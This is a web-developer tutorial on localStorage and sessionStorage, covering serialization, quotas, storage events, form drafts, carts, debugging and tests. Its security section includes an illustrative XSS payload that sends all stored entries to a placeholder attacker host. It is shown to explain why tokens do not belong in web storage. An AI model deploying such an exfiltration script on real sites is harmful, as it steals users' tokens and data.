Azim Uddin

How to Use LocalStorage and SessionStorage: A Complete Guide for Web Developers

Introduction to Web Storage: Why LocalStorage and SessionStorage Matter

Every web application, no matter how simple, must manage state. Without a mechanism to remember user preferences, form inputs, or authentication tokens, every page load starts from scratch. The Web Storage API provides a straightforward, synchronous solution for storing key-value pairs directly in the browser. Unlike server-side databases, this data resides entirely on the client, enabling instant access without network round-trips. For developers, mastering How to Use LocalStorage and SessionStorage is not just a convenience—it is a foundational skill that directly impacts perceived performance and user experience. By keeping data local, you reduce server load, minimize latency, and create seamless interactions that persist across page reloads or browser sessions.

What Is the Web Storage API?

The Web Storage API is a specification defined by the HTML Living Standard. It exposes two global objects—localStorage and sessionStorage—each offering a simple interface with methods like setItem(), getItem(), removeItem(), and clear(). Both storage types store data as strings, meaning any non-string value (objects, arrays, numbers) must be serialized, typically with JSON.stringify() and JSON.parse(). The API is synchronous, so operations block the main thread, but for typical payloads under 5MB, this is rarely noticeable. Each origin (scheme + host + port) gets its own isolated storage area, preventing cross-site data leaks. The API is supported in all modern browsers, including mobile versions, making it a reliable choice for client-side persistence.

Key Differences Between LocalStorage and SessionStorage

The distinction between the two lies in their lifecycle and scope. The table below summarizes the critical differences:

Feature LocalStorage SessionStorage
Persistence Persists indefinitely until explicitly cleared by the user or code Cleared when the tab or window is closed
Scope Shared across all tabs and windows of the same origin Isolated to a single tab; data is not shared between tabs
Lifetime Survives browser restarts Lost after page session ends (tab close)
Use case Long-term preferences, cached user data, theme choices Multi-step forms, temporary state, one-time workflows

Consider a practical example: a shopping cart. If you use localStorage, the cart persists even after the user closes the browser, enabling recovery on the next visit. With sessionStorage, the cart vanishes when the tab closes, which is ideal for a checkout flow that should not survive accidental tab closure. Both share the same API, so switching between them requires only changing the object name.

When to Use Web Storage vs. Cookies or IndexedDB

Choosing the right storage mechanism depends on three factors: size, persistence, and server communication. Here is a decision guide:

  • Cookies: Use when data must be sent automatically to the server with every HTTP request. Cookies are limited to roughly 4KB and are sent on each request, which adds overhead. Ideal for session identifiers or small tracking flags.
  • Web Storage (LocalStorage/SessionStorage): Use for client-only data that does not need server visibility. The typical limit is 5–10MB per origin. Best for UI state, user preferences, or caching API responses for offline use.
  • IndexedDB: Use for large structured data, binary files, or complex queries. It is asynchronous, supports transactions, and can store hundreds of megabytes. Overkill for simple key-value pairs but essential for offline-first applications or media caching.

For most interactive features—like remembering a collapsed sidebar, storing a draft, or saving a user’s language selection—Web Storage is the pragmatic choice. It is simpler than IndexedDB and avoids the cookie overhead. However, never store sensitive information (passwords, tokens) in client storage, as it is vulnerable to XSS attacks. Instead, rely on secure, HttpOnly cookies for authentication. By understanding these trade-offs, you can confidently apply How to Use LocalStorage and SessionStorage to build faster, more resilient web applications.

Understanding the Storage Limits and Data Types

Before you build a feature around localStorage or sessionStorage, it’s critical to know exactly what you’re working with. These APIs are simple, but their constraints often surprise developers who assume they behave like a full database. Here’s a breakdown of capacity, data handling, and error management.

How Much Data Can You Store?

The storage limit is not a fixed spec in the HTML standard, but all major browsers enforce a practical ceiling. In practice, you can store between 5 and 10 MB per origin. This quota applies to the combined total of both localStorage and sessionStorage for that specific domain, not per key. For example, Chrome and Firefox typically allow 10 MB, while Safari often caps at 5 MB. Mobile browsers may be more restrictive, especially in private browsing modes.

Keep these points in mind:

  • The limit is per origin (protocol + domain + port), so https://example.com and https://sub.example.com have separate quotas.
  • SessionStorage shares the same quota as localStorage for the same origin, but its data is cleared when the tab closes.
  • Storing images, base64 strings, or large logs will hit the limit fast. Use these APIs for small, key-value preferences, not for file storage.

All Values Are Strings: The JSON Serialization Workaround

Both storage APIs only accept and return strings. If you try to store a number, boolean, object, or array directly, the browser will silently convert it to its string representation. For example, localStorage.setItem('count', 42) stores the string "42", not the number. Worse, storing an object like {name: 'Alice'} results in the string "[object Object]", which is useless.

The standard workaround is JSON serialization. You convert your data to a JSON string before saving, and parse it back after retrieval. Here’s a practical pattern:

// Saving an object
const user = { name: 'Alice', age: 30 };
localStorage.setItem('user', JSON.stringify(user));

// Retrieving and parsing
const storedUser = JSON.parse(localStorage.getItem('user'));
console.log(storedUser.name); // "Alice"

// For arrays, same approach
localStorage.setItem('tags', JSON.stringify(['js', 'storage']));
const tags = JSON.parse(localStorage.getItem('tags'));

Always wrap JSON.parse in a try/catch block. If the stored value is corrupted or missing, parsing will throw an error and break your script.

Checking Available Storage and Quota Exceeded Errors

You cannot directly query “how many bytes are left,” but you can estimate used space by iterating over all keys and measuring the length of each key and value. This is useful for debugging or building a storage indicator. A simple check:

function getStorageUsage(storageType) {
  const storage = storageType === 'session' ? sessionStorage : localStorage;
  let totalBytes = 0;
  for (let i = 0; i < storage.length; i++) {
    const key = storage.key(i);
    const value = storage.getItem(key);
    totalBytes += key.length + value.length;
  }
  return totalBytes; // Approximate, in UTF-16 code units
}

When you exceed the quota, the browser throws a QuotaExceededError (code 22 in Firefox, 1014 in Safari). This error occurs during setItem(), not before. To handle it gracefully, wrap your write operations in a try/catch:

try {
  localStorage.setItem('largeData', bigString);
} catch (e) {
  if (e.name === 'QuotaExceededError') {
    // Clear old keys or inform the user
    localStorage.removeItem('oldKey');
    console.warn('Storage full, removed oldest item');
  } else {
    throw e;
  }
}

Also note that in private browsing modes, Safari historically throws a quota error even for tiny amounts of data. Always test your code with storage disabled or in incognito to ensure your app degrades gracefully.

Basic CRUD Operations: Set, Get, and Remove Items

Mastering How to Use LocalStorage and SessionStorage begins with four core methods: setItem(), getItem(), removeItem(), and clear(). These methods form the foundation of all browser storage interactions. They are synchronous, meaning your code executes immediately after each call, which simplifies debugging but also means you should avoid storing large payloads (aim for under 5MB total per origin). Below, each operation is demonstrated with minimal, production-ready examples.

Using setItem() to Store Data

The setItem(key, value) method accepts two string arguments: a unique key and its corresponding value. Both arguments are converted to strings automatically, so numbers and booleans become stringified. For objects or arrays, you must call JSON.stringify() before storing, otherwise you will save the literal text [object Object].

// Store a simple string
localStorage.setItem('theme', 'dark');

// Store a number (becomes string "42")
sessionStorage.setItem('pageViews', 42);

// Store an object correctly
const user = { name: 'Ada', role: 'admin' };
localStorage.setItem('userProfile', JSON.stringify(user));

If you call setItem() with a key that already exists, the old value is overwritten silently. There is no error thrown, so always check for existing keys if you need to preserve data.

Using getItem() to Retrieve Data

To read data, pass the same key to getItem(key). It returns the stored string, or null if the key does not exist. Remember to parse JSON strings back into objects using JSON.parse(), and wrap the parse in a try/catch to handle corrupted data gracefully.

// Retrieve a string
const theme = localStorage.getItem('theme'); // "dark"

// Retrieve and convert a number
const views = Number(sessionStorage.getItem('pageViews')); // 42

// Retrieve and parse an object
let userProfile = null;
try {
  userProfile = JSON.parse(localStorage.getItem('userProfile'));
} catch (e) {
  userProfile = null; // fallback if data is invalid
}

A common pitfall: never assume a key exists. Always check for null before using the result, especially when the value is expected to be an object.

Using removeItem() and clear() to Delete Data

removeItem(key) deletes a single key-value pair. If the key does not exist, the method does nothing (no error). clear() removes every key for the current origin on that specific storage type—it does not affect the other storage mechanism. For example, calling sessionStorage.clear() leaves localStorage untouched.

// Delete one item
localStorage.removeItem('theme');

// Wipe all session storage
sessionStorage.clear();

// Verify deletion
console.log(localStorage.getItem('theme')); // null

Use removeItem() for targeted cleanup (e.g., removing a logged-out user’s session flag). Reserve clear() for “logout” or “reset all preferences” buttons, as it is destructive and irreversible.

Operation Method Signature Behavior on Missing Key Typical Use Case
Set setItem(key, value) Creates new key Saving user preferences
Get getItem(key) Returns null Reading a saved theme
Delete one removeItem(key) No-op (silent) Removing a temporary token
Delete all clear() No-op (silent) Full reset of local data

When building your storage logic, always wrap JSON operations in try/catch blocks and validate that retrieved values match your expected schema. This defensive approach prevents runtime errors from malformed data left by previous versions of your app. Additionally, test your CRUD operations in both localStorage and sessionStorage separately—they share the same API but have different lifetimes (persistent vs. per-tab). By following these patterns, you can reliably manage client-side data without external libraries.

Working with Objects and Arrays in Storage

LocalStorage and SessionStorage are designed to store only strings. When you attempt to save a JavaScript object or array directly, the browser silently converts it to the string "[object Object]" or a comma-joined list, which is useless for later retrieval. To preserve the structure and data types of complex values, you must serialize them into a JSON string before calling setItem(), and then parse that string back into a live object or array after calling getItem(). This two-step process is the foundation of robust client-side data persistence.

Serializing Objects with JSON.stringify()

The JSON.stringify() method takes a JavaScript value—object, array, or primitive—and returns a JSON string representation. For example, a user profile object with nested properties and an array of tags becomes a single, storable text blob. The method also handles nested structures, booleans, numbers, and null values correctly. However, it omits functions, undefined properties, and symbols, so design your data objects with only serializable fields.

Practical example of saving a product cart:

const cart = {
  items: [
    { id: 1, name: "Widget", qty: 2 },
    { id: 2, name: "Gadget", qty: 1 }
  ],
  updatedAt: Date.now()
};

// Serialize before storing
localStorage.setItem("shoppingCart", JSON.stringify(cart));
console.log(localStorage.getItem("shoppingCart"));
// Output: {"items":[{"id":1,"name":"Widget","qty":2},{"id":2,"name":"Gadget","qty":1}],"updatedAt":1710000000000}

Notice that the stored value is a plain string, not an object. This string is what the browser persists across page reloads or sessions, depending on whether you used LocalStorage or SessionStorage.

Parsing Stored Data with JSON.parse()

Retrieving the data requires the inverse operation. JSON.parse() reads a JSON string and reconstructs the original JavaScript value, including nested objects and arrays. After parsing, you can access properties, iterate over arrays, and use methods as if the data were always in memory.

// Retrieve and parse
const storedCart = JSON.parse(localStorage.getItem("shoppingCart"));
console.log(storedCart.items[0].name); // "Widget"
console.log(storedCart.items.length);  // 2

Always parse immediately after retrieval and before any manipulation. Do not store the JSON string in a variable and assume it behaves like an object—attempting storedCart.items on a raw string returns undefined. The parse step is mandatory for any non-trivial data structure.

Handling Null or Invalid JSON Gracefully

Two common failure modes occur: the key does not exist, or the stored string is corrupted. getItem() returns null when the key is absent, and JSON.parse() throws a SyntaxError if the string is malformed. Robust code must handle both cases without crashing the application.

Use a defensive pattern that checks for null and wraps parsing in a try...catch block:

function loadCart() {
  const raw = localStorage.getItem("shoppingCart");
  if (raw === null) {
    return { items: [] }; // default empty state
  }
  try {
    const parsed = JSON.parse(raw);
    // Validate that parsed is an object with an items array
    return (parsed && Array.isArray(parsed.items)) ? parsed : { items: [] };
  } catch (e) {
    console.warn("Corrupted cart data, resetting:", e);
    localStorage.removeItem("shoppingCart");
    return { items: [] };
  }
}

This function returns a usable default when the key is missing, discards invalid data, and prevents a TypeError from propagating. For arrays, apply the same pattern: check getItem() for null, then parse and verify Array.isArray() before iterating.

Key practices to remember:

  • Always call JSON.stringify() before setItem() for objects or arrays.
  • Always call JSON.parse() after getItem() and assign the result to a new variable.
  • Treat null as “no data” and provide sensible defaults.
  • Wrap parsing in try...catch and clean up corrupt entries.
  • Validate the parsed structure (e.g., check for expected keys or array length) to avoid runtime errors.

By following these steps, your storage layer will handle complex data reliably, survive malformed input, and keep your user interface responsive even when browser storage contains unexpected values.

SessionStorage vs LocalStorage: Choosing the Right One

When deciding between the two web storage APIs, the core question is simple: how long should the data live, and who should see it? Both localStorage and sessionStorage store key-value pairs as strings on the user’s browser, but their expiration and scoping rules differ fundamentally. Use this decision framework: if the data must survive browser restarts and be available across multiple tabs, choose localStorage. If the data is only relevant for the current tab and should vanish when that tab closes, choose sessionStorage. A third criterion—security—applies equally: neither storage type is encrypted, so never store sensitive information like passwords or tokens in either.

Data Lifecycle: Page Session vs Browser Persistence

The most significant difference is the lifecycle. sessionStorage creates a separate storage area for each browser tab or window. This area lives for the duration of the “page session.” A page session begins when the tab is opened and ends when the tab is closed. Critically, reloading the page or restoring it from a crash does not clear sessionStorage—the data persists across refreshes within the same tab. However, duplicating a tab (e.g., via Ctrl+Shift+T or right-click “Duplicate”) creates a new session, so the duplicated tab starts with empty sessionStorage, even though the original still holds its data.

In contrast, localStorage has no expiration time. Data written to localStorage remains on the disk until explicitly removed via JavaScript (localStorage.removeItem() or localStorage.clear()) or until the user clears browser site data. It survives browser restarts, system reboots, and even incognito-mode closure (though incognito data is cleared when the last incognito window closes). This makes localStorage the default choice for “remember me” features, user preferences, and cached API responses that should persist for days or weeks.

Tab and Window Isolation in SessionStorage

SessionStorage enforces strict isolation per tab or window. If you open two tabs to the same origin (e.g., https://example.com), each tab has its own independent sessionStorage object. Writing a key in tab A will not affect tab B, and reading a key in tab B returns null unless it was set in that exact tab. This isolation extends to iframes—an iframe gets its own sessionStorage context, separate from the parent page, even if the iframe shares the same origin. This behavior is useful for multi-step wizards or checkout flows where each tab should maintain separate draft state without cross-contamination.

LocalStorage, by contrast, is shared across all tabs and windows of the same origin. A change made in one tab is immediately visible in another tab via the storage event (fired only in other tabs, not the one that made the change). This makes localStorage suitable for cross-tab communication, such as syncing theme settings or user preferences across multiple open views of your app.

Use Cases: Form Drafts, Theme Preferences, and More

To apply this framework, consider the following common scenarios:

  • Form drafts (sessionStorage): Auto-save a partially filled contact form or a long blog post draft. If the user accidentally refreshes the page, the content is restored. When the tab closes, the draft is gone—ideal for temporary inputs or one-time submissions.
  • Theme preferences (localStorage): Store a user’s dark/light mode selection. On the next visit, the preference is read from localStorage and applied immediately. This persists across sessions, which is exactly what users expect.
  • Checkout wizard (sessionStorage): In a multi-step payment flow, keep the current step and entered data in sessionStorage. If the user opens a second tab to compare prices, that second tab starts fresh, preventing accidental overwrites of the active order.
  • User authentication token (localStorage, with caution): While not recommended for highly sensitive data, some apps store a session token in localStorage to keep the user logged in across browser restarts. For better security, prefer HttpOnly cookies instead.
  • Feature flags or A/B test assignment (localStorage): Persist which variant a user saw, so they don’t get a different experience on every page load.

For quick reference, the table below summarizes the key differences:

Property sessionStorage localStorage
Lifetime Per tab, until tab closes Persists indefinitely
Survives page reload Yes Yes
Survives browser restart No Yes
Shared between tabs No Yes (same origin)
Storage limit (typical) ~5–10 MB per tab ~5–10 MB per origin
Use case Temporary, tab-specific data Long-term preferences and state

In practice, start with sessionStorage for anything ephemeral and tab-scoped, and upgrade to localStorage only when you need persistence beyond the current session. This keeps your storage usage clean and avoids unexpected data buildup on users’ devices.

Security Considerations for Client-Side Storage

LocalStorage and SessionStorage are convenient, but they are not secure vaults. Any data you place in them is readable by any script running on your page, and it persists in plain text on the user’s device. This makes them a prime target for attackers. Before you store anything, ask yourself: “What happens if this value is stolen?” If the answer involves account takeover, financial loss, or privacy breach, do not store it in web storage. The browser offers no built-in encryption, no access control, and no expiration for LocalStorage (SessionStorage clears on tab close, but that is not a security feature). Treat these APIs as caches for non-sensitive, non-critical data—nothing more.

Why Never Store Tokens or Passwords in Web Storage

Authentication tokens (JWTs, session IDs) and passwords are the keys to your user’s kingdom. Storing them in LocalStorage or SessionStorage is equivalent to writing the key on a sticky note and taping it to the monitor. Here is why this is dangerous:

  • Persistence: LocalStorage survives browser restarts, tab closures, and even some incognito modes. A stolen token remains valid until it expires, giving attackers a long window of abuse.
  • No Scope Isolation: Any third-party script injected into your page (analytics, ads, chat widgets) runs with the same origin and can read localStorage directly via window.localStorage.getItem('token').
  • Physical Access: Anyone with access to the user’s device can open DevTools, navigate to the Application tab, and copy the token in seconds. No special tools required.

Instead, use HttpOnly cookies for session management. These cookies are sent automatically with requests, cannot be read by JavaScript, and can be flagged with Secure and SameSite attributes. For password storage, always hash and salt on the server—never keep a plaintext or even an encrypted version in the browser.

The Risk of Cross-Site Scripting (XSS) Attacks

XSS is the primary vector for stealing web storage data. An attacker injects a malicious script into your page—via a comment field, a URL parameter, or a third-party library—and that script executes in your origin. Once running, it can do this:

// Malicious payload injected via XSS
fetch('https://evil.example/steal', {
  method: 'POST',
  body: JSON.stringify({
    localStorage: Object.entries(localStorage),
    sessionStorage: Object.entries(sessionStorage)
  })
});

This single line exfiltrates every key-value pair you have stored. The script does not need to bypass any permission; the browser trusts it because it is running on your domain. Even a tiny, seemingly harmless injection point (like a search box that echoes user input) can be exploited. The more sensitive data you keep in web storage, the larger the blast radius of any XSS vulnerability.

Best Practices: Sanitize Input, Use HTTPS, and Avoid Sensitive Data

You cannot eliminate every XSS risk, but you can drastically reduce the impact. Follow these rules:

  1. Never store sensitive data. This is the golden rule. No passwords, tokens, credit card numbers, or personal identifiers (like social security numbers) in LocalStorage or SessionStorage. Use server-side sessions with HttpOnly cookies instead.
  2. Sanitize all input. Escape HTML entities, encode URL parameters, and validate data types before rendering. Use a well-tested library like DOMPurify for HTML and avoid innerHTML with user-supplied content. Treat every string as untrusted until proven otherwise.
  3. Enforce HTTPS. Without TLS, an attacker on the same network can intercept data in transit—including the contents of your web storage if you ever send them to the server. HTTPS also prevents mixed-content issues that can lead to script injection.
  4. Set a Content Security Policy (CSP). A strict CSP (e.g., default-src 'self') blocks inline scripts and external resources, making XSS significantly harder to execute.
  5. Use short expiration for SessionStorage values. If you must store transient UI state (like a form draft), clear it after use. Do not rely on automatic tab-close cleanup.

Finally, audit your storage usage regularly. Open DevTools, inspect what your app stores, and delete anything that is not absolutely necessary. A smaller attack surface is a safer one.

Handling Storage Events and Cross-Tab Communication

Modern web applications often need to keep multiple browser tabs in sync. When a user updates data in one tab, other open tabs should reflect that change immediately. The storage event is the native browser mechanism that enables this synchronization for localStorage. Understanding how to listen for and react to this event is essential for building responsive, multi-tab interfaces.

Listening to the ‘storage’ Event

The storage event fires automatically on the window object whenever a change is made to localStorage or sessionStorage in another document (i.e., a different tab or window) that shares the same origin. It does not fire in the tab where the change was made. To capture it, attach an event listener using addEventListener.

window.addEventListener('storage', (event) => {
  console.log('Key changed:', event.key);
  console.log('Old value:', event.oldValue);
  console.log('New value:', event.newValue);
  console.log('Storage area:', event.storageArea);
  console.log('Source URL:', event.url);
});

The event object provides four useful properties:

  • key – The name of the stored item that was modified. If clear() is called, this is null.
  • oldValue – The previous value of the key, or null if it was newly added.
  • newValue – The updated value, or null if the key was removed.
  • storageArea – A reference to the Storage object that was affected (either localStorage or sessionStorage).

Synchronizing Data Across Tabs

The most common use case is keeping UI state consistent across tabs. For example, if a user changes a theme preference or updates a shopping cart in one tab, other tabs should update instantly. Here is a practical pattern:

// In the tab that makes the change
localStorage.setItem('theme', 'dark');

// In every other tab
window.addEventListener('storage', (event) => {
  if (event.key === 'theme') {
    document.body.className = event.newValue || 'light';
  }
});

This approach works reliably because localStorage writes are synchronous and the event is delivered asynchronously after the write completes. For more complex state, you can store a serialized object with a version number, then rehydrate the entire app state when the event fires. Always remember to parse the newValue with JSON.parse() and handle cases where it might be null (e.g., the key was removed).

For applications that need bidirectional sync, consider a simple message protocol:

Operation Key Format Value Example
Update item item:{id} {"name":"Table","qty":2}
Delete item item:{id} null (via removeItem)
Clear all Call localStorage.clear()

When handling a clear() call, remember that event.key is null. You must check for that condition explicitly to trigger a full reset in other tabs.

Limitations: No Event for SessionStorage in the Same Tab

There is a critical limitation: the storage event does not fire in the same tab that made the change, and it does not fire for sessionStorage at all in the same tab. sessionStorage is scoped to a single tab, so its changes are only visible to that tab. However, the storage event will fire in other tabs for changes made to sessionStorage only if those tabs were opened from the same tab (via window.open or a link with target="_blank") and share the same origin. This is because sessionStorage is copied to the new tab, but subsequent changes are not shared.

To work around this limitation, you can use a combination of localStorage as a broadcast channel or rely on the BroadcastChannel API for same-tab and cross-tab communication. For example, you can listen to the storage event in other tabs to update UI, but for the same tab, you must call your update function directly after writing to sessionStorage. Always test your implementation across multiple tabs to ensure that your synchronization logic handles the absence of the event in the originating tab gracefully.

Practical Use Cases and Code Examples

Knowing how to use LocalStorage and SessionStorage in isolation is only half the battle. The real value emerges when you apply these APIs to solve everyday front-end problems. Below are three concrete scenarios, each demonstrating a distinct pattern: persisting a UI preference, protecting a user’s in-progress work, and managing a transient cart. All examples assume a modern browser environment.

Persisting User Preferences (e.g., Dark Mode)

Theme selection is a classic use case for LocalStorage because the choice must survive browser restarts. The pattern is simple: check for a saved value on page load, then update the UI and storage on user action.

// On page load
const savedTheme = localStorage.getItem('theme') || 'light';
document.documentElement.dataset.theme = savedTheme;

// Toggle handler
function setTheme(theme) {
  localStorage.setItem('theme', theme);
  document.documentElement.dataset.theme = theme;
}

  • Key naming: Use a namespace prefix like app.theme to avoid collisions with other scripts.
  • Fallback value: Always provide a default ('light') to avoid null checks later.
  • Storage limit: LocalStorage holds ~5MB per origin, so a single string is trivial.

Auto-Saving Form Drafts with SessionStorage

For a long form, users often need protection against accidental refreshes or tab closures. SessionStorage is ideal because the draft is cleared when the tab closes—perfect for a one-time session. Implement a debounced input listener to avoid excessive writes.

const form = document.querySelector('#application-form');
const draftKey = 'draft_' + window.location.pathname;

// Restore draft
const savedDraft = sessionStorage.getItem(draftKey);
if (savedDraft) {
  Object.entries(JSON.parse(savedDraft)).forEach(([name, value]) => {
    if (form.elements[name]) form.elements[name].value = value;
  });
}

// Save on input (debounced)
let saveTimer;
form.addEventListener('input', (e) => {
  clearTimeout(saveTimer);
  saveTimer = setTimeout(() => {
    const data = Object.fromEntries(new FormData(form).entries());
    sessionStorage.setItem(draftKey, JSON.stringify(data));
  }, 300);
});

Important: Always store serialized JSON, not raw objects. Also, clear the draft explicitly after a successful submit using sessionStorage.removeItem(draftKey).

Building a Simple Shopping Cart with LocalStorage

A cart must persist across page navigations and browser restarts, making LocalStorage the correct choice. The following example uses a plain object keyed by product ID, storing quantity and product details.

function getCart() {
  return JSON.parse(localStorage.getItem('cart') || '{}');
}

function addToCart(productId, productName, price) {
  const cart = getCart();
  if (cart[productId]) {
    cart[productId].qty += 1;
  } else {
    cart[productId] = { name: productName, price, qty: 1 };
  }
  localStorage.setItem('cart', JSON.stringify(cart));
  renderCart();
}

function renderCart() {
  const cart = getCart();
  const total = Object.values(cart).reduce((sum, item) => sum + item.price * item.qty, 0);
  // Update DOM with cart items and total
}

Note that you must manually handle quantity changes and removals—LocalStorage is not reactive. For a production cart, consider a backend for inventory and a service worker for offline caching, but for a prototype or small store, this pattern works well.

Storage API Comparison for These Use Cases
Feature LocalStorage SessionStorage
Lifetime Persists until manually cleared or site data removed Cleared when the tab or window closes
Scope Per origin (protocol + domain + port) Per tab/window + origin
Ideal for User preferences, cart contents, saved logins Form drafts, one-time wizards, temporary state
Shared between tabs Yes (with storage event) No—each tab gets its own copy

Choose based on the required persistence window. For preferences and carts, use LocalStorage. For transient, session-scoped data like a draft, SessionStorage is safer and reduces clutter. Both APIs share the same getItem, setItem, and removeItem interface, so switching between them is a one-line change.

Debugging and Testing Web Storage in the Browser

Even with a solid grasp of the Web Storage API, real-world bugs often hide in edge cases—expired data, mixed key types, or unexpected quota errors. Fortunately, modern browsers and testing frameworks give you precise tools to inspect, simulate, and verify storage behavior. This section walks you through the practical workflows that separate a working prototype from a production-grade implementation.

Using Chrome DevTools to View and Edit Storage

Chrome DevTools provides a dedicated panel for both localStorage and sessionStorage. Open DevTools (F12 or Ctrl+Shift+I), navigate to the Application tab, and expand the Storage section in the left sidebar. Here you’ll see separate entries for Local Storage and Session Storage, each broken down by origin (protocol + domain + port).

To inspect a specific key-value pair, click the origin and review the table on the right. You can perform the following actions directly:

  • Edit a value: Double-click the value cell, type the new string, and press Enter. The change is immediately reflected in your page’s storage.
  • Add a new key: Double-click an empty row, enter the key and value, then confirm.
  • Delete a key: Right-click the row and select “Delete” or select the key and press the Delete key.
  • Clear all storage for the origin: Click the circular arrow icon in the toolbar or right-click the origin and choose “Clear.”

For programmatic debugging, you can also use the Console tab. Type localStorage.setItem('debugKey', 'test') to add an item, then localStorage.getItem('debugKey') to retrieve it. To see the full list of keys, run Object.keys(localStorage). This is especially useful when you need to verify the exact serialized format of JSON data you stored earlier.

Simulating Different Storage States

Testing edge cases often requires forcing your app to behave as if storage is full, unavailable, or contains legacy data. You can simulate these states without modifying your production code.

Simulating quota exceeded: In the Console, run a loop that fills storage until it throws a QuotaExceededError:

try {
  let i = 0;
  while (true) {
    localStorage.setItem('filler' + i, 'x'.repeat(1024 * 1024));
    i++;
  }
} catch (e) {
  console.log('Storage full after', i, 'iterations:', e.name);
}

Then run your app’s save function to see how it handles the failure. To reset, clear all keys with localStorage.clear().

Simulating missing or corrupt data: Manually set a key to an invalid JSON string (e.g., '{"broken":') and then call your parser. This reveals whether your code handles JSON.parse exceptions gracefully. To simulate a completely empty storage, use localStorage.clear() and then reload the page.

Simulating private mode or disabled storage: In Chrome, open an Incognito window; in Firefox, use a private window. Some browsers disable storage in certain privacy modes. Alternatively, you can temporarily override the storage object in the console:

const originalSetItem = Storage.prototype.setItem;
Storage.prototype.setItem = function() { throw new Error('Blocked'); };

This forces your code to fall back to any in-memory or cookie-based alternative you’ve implemented.

Unit Testing Storage Helpers with Jest or Vitest

Testing storage logic in isolation prevents regressions. The key is to mock the global localStorage and sessionStorage objects. With Jest, use the built-in jest.spyOn or a simple in-memory mock. With Vitest, the approach is nearly identical because it follows the Jest API.

Here’s a practical example of a storage helper and its test using Vitest:

// storage.js
export function saveJSON(key, data) {
  try {
    localStorage.setItem(key, JSON.stringify(data));
    return true;
  } catch (e) {
    return false;
  }
}

export function loadJSON(key) {
  const raw = localStorage.getItem(key);
  if (!raw) return null;
  try {
    return JSON.parse(raw);
  } catch {
    return null;
  }
}


// storage.test.js
import { describe, it, expect, beforeEach, vi } from 'vitest';
import { saveJSON, loadJSON } from './storage.js';

describe('storage helpers', () => {
  const mockStorage = () => {
    let store = {};
    return {
      getItem: vi.fn((key) => store[key] ?? null),
      setItem: vi.fn((key, value) => { store[key] = String(value); }),
      removeItem: vi.fn((key) => { delete store[key]; }),
      clear: vi.fn(() => { store = {}; }),
    };
  };

  beforeEach(() => {
    globalThis.localStorage = mockStorage();
  });

  it('saves and loads valid JSON', () => {
    expect(saveJSON('user', { name: 'Ada' })).toBe(true);
    expect(loadJSON('user')).toEqual({ name: 'Ada' });
  });

  it('returns null for corrupt JSON', () => {
    localStorage.setItem('bad', '{invalid');
    expect(loadJSON('bad')).toBeNull();
  });

  it('returns null when key does not exist', () => {
    expect(loadJSON('missing')).toBeNull();
  });

  it('handles quota errors gracefully', () => {
    localStorage.setItem.mockImplementation(() => { throw new Error('QuotaExceededError'); });
    expect(saveJSON('x', [1,2,3])).toBe(false);
  });
});

Run the tests with npx vitest run. The same pattern works in Jest by replacing vi.fn with jest.fn and globalThis.localStorage with global.localStorage. This approach ensures your helpers behave correctly under normal, corrupt, and failure conditions—without ever touching a real browser tab.

Common Pitfalls and How to Avoid Them

Even experienced developers trip over the same issues when working with web storage. The good news: most pitfalls are predictable and easy to sidestep once you know what to look for. Below are the most frequent mistakes, along with concrete fixes to keep your code robust.

Forgetting to Parse JSON on Retrieval

LocalStorage and SessionStorage only store strings. When you save an object or array, you must convert it to a JSON string using JSON.stringify(). On retrieval, you must reverse that process with JSON.parse(). Skipping the parse step is the single most common error.

Consider this flawed code:

// Saving (correct)
localStorage.setItem('user', JSON.stringify({name: 'Ada', role: 'admin'}));

// Retrieval (incorrect - returns "[object Object]")
const user = localStorage.getItem('user');
console.log(user.name); // undefined

Because user is a string, accessing .name fails silently. The fix is simple:

const user = JSON.parse(localStorage.getItem('user'));
console.log(user.name); // 'Ada'

Always wrap JSON.parse() in a try/catch block, because corrupted data or manual edits in DevTools will throw a SyntaxError. A safe pattern:

let user;
try {
  user = JSON.parse(localStorage.getItem('user')) || {};
} catch (e) {
  user = {}; // fallback to default
}

Assuming Storage Is Always Available (Privacy Mode)

Browsers in private or incognito mode often block localStorage and sessionStorage entirely. Others may allow writes but throw an exception when the quota is exceeded. If your code assumes storage works, the entire app can crash on load.

Before using any storage method, test for availability with a simple write-and-read check:

function storageAvailable(type) {
  try {
    const testKey = '__test__';
    window[type].setItem(testKey, '1');
    window[type].removeItem(testKey);
    return true;
  } catch (e) {
    return false;
  }
}

if (storageAvailable('localStorage')) {
  // safe to use
} else {
  // fallback to in-memory object or cookies
}

Additionally, always wrap setItem() in a try/catch. Quota limits vary by browser (typically 5MB per origin), and storing large blobs or many entries can trigger a QuotaExceededError. Handle it gracefully by clearing old data or showing a user-friendly message.

Overwriting Data or Mixing Storage Types

Two related mistakes cause subtle bugs. First, overwriting data unintentionally when you meant to update a nested property. For example:

// Existing data
localStorage.setItem('settings', JSON.stringify({theme: 'dark', fontSize: 14}));

// Wrong - replaces the whole object
localStorage.setItem('settings', JSON.stringify({theme: 'light'}));

The correct approach is to read, merge, then write:

const current = JSON.parse(localStorage.getItem('settings')) || {};
const updated = {...current, theme: 'light'};
localStorage.setItem('settings', JSON.stringify(updated));

Second, mixing localStorage and sessionStorage for the same logical key. They are separate storage areas, so data saved in one is invisible to the other. This leads to confusion when your code reads from one but writes to the other. Define a clear convention from the start:

  • localStorage — for persistent preferences, saved carts, or long-term user data.
  • sessionStorage — for tab-specific state, form drafts, or one-time wizard steps.

Never use the same key name across both unless you explicitly intend to mirror data. A quick audit of your getItem and setItem calls will reveal mismatches. Use a shared constants file for key names to avoid typos and accidental duplication.

By addressing these three pitfalls, you’ll write storage code that survives edge cases, privacy modes, and messy data — without breaking your user experience.

Frequently Asked Questions

What is the difference between localStorage and sessionStorage?

localStorage and sessionStorage are both part of the Web Storage API, but they differ in persistence and scope. localStorage stores data with no expiration, persisting across browser sessions and tabs. sessionStorage stores data for a single page session, clearing when the tab or window closes. Both are domain-specific, meaning each origin gets its own storage. However, sessionStorage is also limited to the specific tab, while localStorage is shared across all tabs with the same origin. This makes localStorage suitable for long-term preferences, while sessionStorage is ideal for temporary state like form drafts.

How do I store objects in localStorage?

localStorage only stores strings, so to store objects you must serialize them to JSON using JSON.stringify() before saving, and parse them back with JSON.parse() when retrieving. For example: localStorage.setItem('user', JSON.stringify({name: 'Alice', age: 30})); Then to retrieve: const user = JSON.parse(localStorage.getItem('user'));. Always wrap parsing in a try-catch to handle invalid JSON, especially if the data might have been corrupted or edited by the user.

What is the storage limit for localStorage and sessionStorage?

